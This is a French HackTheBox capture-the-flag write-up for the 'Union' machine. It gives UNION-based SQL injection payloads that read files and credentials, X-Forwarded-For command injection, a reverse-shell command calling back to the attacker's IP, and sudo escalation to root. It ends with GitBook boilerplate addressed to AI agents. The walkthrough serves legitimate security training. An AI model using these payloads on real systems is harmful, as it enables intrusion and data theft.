> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Compte rendu HackTheBox de Union

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Compétences :**

* SQLI (Injection SQL) - Injection UNION
* SQLI - Lecture de fichiers
* Injection de commande dans l'en-tête HTTP - X-FORWARDED-FOR (RCE)
* Abus du privilège sudoers (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/f53bc89f0fba6b8dbfe27b94428b3812c2398ee1" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/eeca0a3effeee6f4f29b036df4af23d38b9dfba0" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="/files/40663f49108ca45edd752be50e64485f774e8582" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="/files/b9a19bfc6d3af8b6c01c6801ac69ff9ec47a868d" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/b7cc072512994ac00eb54a49e8ecbfd0d0521da1" alt=""><figcaption></figcaption></figure>

### Liste des fichiers

avec gobusteron effectuera une énumération de fichiers avec des extensions php

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

Il y a deux fichiers qui ne sont pas accessibles depuis l'extérieur : `config.php` et `firewall.php`.

<figure><img src="/files/5e30df6dc20cdbdda2a33f0d2b88ae7d65ca9b95" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e36f9249c3a668c87ed5ab146e4b53dc7d1dd6ae" alt=""><figcaption></figcaption></figure>

Dans `index.php`si nous ajoutons un nom dans le formulaire, il apparaît dans la réponse.

<figure><img src="/files/3d5163d85570bef23f4c97dda9e2684ffe2afb30" alt=""><figcaption></figcaption></figure>

Le fichier du challenge nous demande un flag

<figure><img src="/files/f4a3626bb0ebeff5099f73034d119d757137ecf3" alt=""><figcaption></figcaption></figure>

## Vulnérabilité SQLI - Injection UNION

Nous interceptons la requête avec Burp Suite et modifions la variable `player`:

<figure><img src="/files/56d136f5246d8938c7cb3f90f516975b8ce2a2b2" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

Le nom de la base de données est `november`.

<figure><img src="/files/22680ffed869c5bfceb8250f56d45255d3f89e13" alt=""><figcaption></figcaption></figure>

Pour lister toutes les bases de données :

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Résultat : `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/1e07fed5e962b06584e6d05386c4fe4c22861562" alt=""><figcaption></figcaption></figure>

Lister les tables dans `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="/files/bd778aa9417e9838f9b60a6e7c8c859dd2f87f58" alt=""><figcaption></figcaption></figure>

Lister les colonnes dans la `players` table :

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Colonnes trouvées : `player`

<figure><img src="/files/ea4402133323ba980b024f66b155c72df19aef8d" alt=""><figcaption></figcaption></figure>

**Extraction des données utilisateur**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Joueurs trouvés : `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/80909f3f8f84c57ee548c1c12b38670c3d71c7de" alt=""><figcaption></figcaption></figure>

Extraction du flag :

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="/files/bb83fcb0e14a7eb0d80a5209b8a8fd22bc8176aa" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="/files/76821c554a2b2ffd850fd00b826a7218550b2063" alt=""><figcaption></figcaption></figure>

* Flag trouvé : `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Lecture de fichiers**

Lecture `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

Nous trouvons un `uhc` utilisateur.

<figure><img src="/files/a3e9c94a3b4ca97304ab4929356133ba511d976a" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt

Lecture `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="/files/07a2d25a912518a868d068e699a4bf1f6bd6ca9f" alt=""><figcaption></figcaption></figure>

Lecture `config.php`, nous trouvons des identifiants de base de données :

<figure><img src="/files/14d497257f5384e8642336045d9a13705d588b7a" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Lecture `firewall.php`, nous comprenons que la soumission du flag ouvre le port SSH :

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="/files/7accb71e12d04b049ffe414f246ec45d91bb6a7c" alt=""><figcaption></figcaption></figure>

Nous soumettons le flag : `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="/files/aa171baa0901616779f887b015311d331d161e5e" alt=""><figcaption></figcaption></figure>

Le port 22 est maintenant ouvert.<br>

<figure><img src="/files/ee74116ca176d1b906a53e0f85345105b1cba4a5" alt=""><figcaption></figcaption></figure>

### Connexion SSH

Nous utilisons les identifiants identifiés pour nous connecter :

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="/files/23f5722a5d31806aec632f3e2f189339a317a53a" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges**

### Injection de commande dans l'en-tête HTTP - X-FORWARDED-FOR (RCE)

Si vous regardez le `firewall.php` fichier, vous remarquez qu'il récupère le `HTTP_X_FORWARDED_FOR` en-tête et l'utilise avec `sudo` pour exécuter une commande :

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="/files/d881ce5eb33db804723b9d072ee54744bcddc589" alt=""><figcaption></figcaption></figure>

Comme cette variable peut être contrôlée via une requête HTTP, nous pouvons injecter une commande arbitraire.

**Exploitation**

Comme il s'agit d'un en-tête HTTP, nous pouvons injecter une commande, par exemple en utilisant `curl` pour contacter notre serveur web.

**Mise en place d'un serveur web :**

```bash
python3 -m http.server 80
```

**Contrôle de l'injection avec `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="/files/2733ff3c4f137d857fb900db1e2eee62199ab6aa" alt=""><figcaption></figcaption></figure>

**Shell inversé**

**Écoute sur le port 443 :**

```bash
nc -nlvp 443
```

**Commande pour obtenir un shell distant :**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Une fois connectés, nous sommes l'utilisateur `www-data`.

<figure><img src="/files/212bc26526675ae2a1291a7d35669a2c8351c8b7" alt=""><figcaption></figcaption></figure>

#### Stabilisation du terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

Avec la commande suivante, nous vérifions `sudo` les permissions :

```bash
sudo -l 
```

<figure><img src="/files/25b0f89efeb32d6c9ea23a85ea9d3660d2455891" alt=""><figcaption></figcaption></figure>

Si nous voyons que `www-data` peut exécuter n'importe quelle commande en tant que n'importe quel utilisateur (`(ALL: ALL) ALL`), alors nous pouvons obtenir un shell root avec :

```bash
sudo /bin/bash -p
```

<figure><img src="/files/b4009a2b057a614d1e2f659892e1cefda8499a35" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/a23b6c8a8d4adeb247e6b94ddf7d1cc153402f2f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0cf6f898285b4084373ce79684f89a961927c80a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
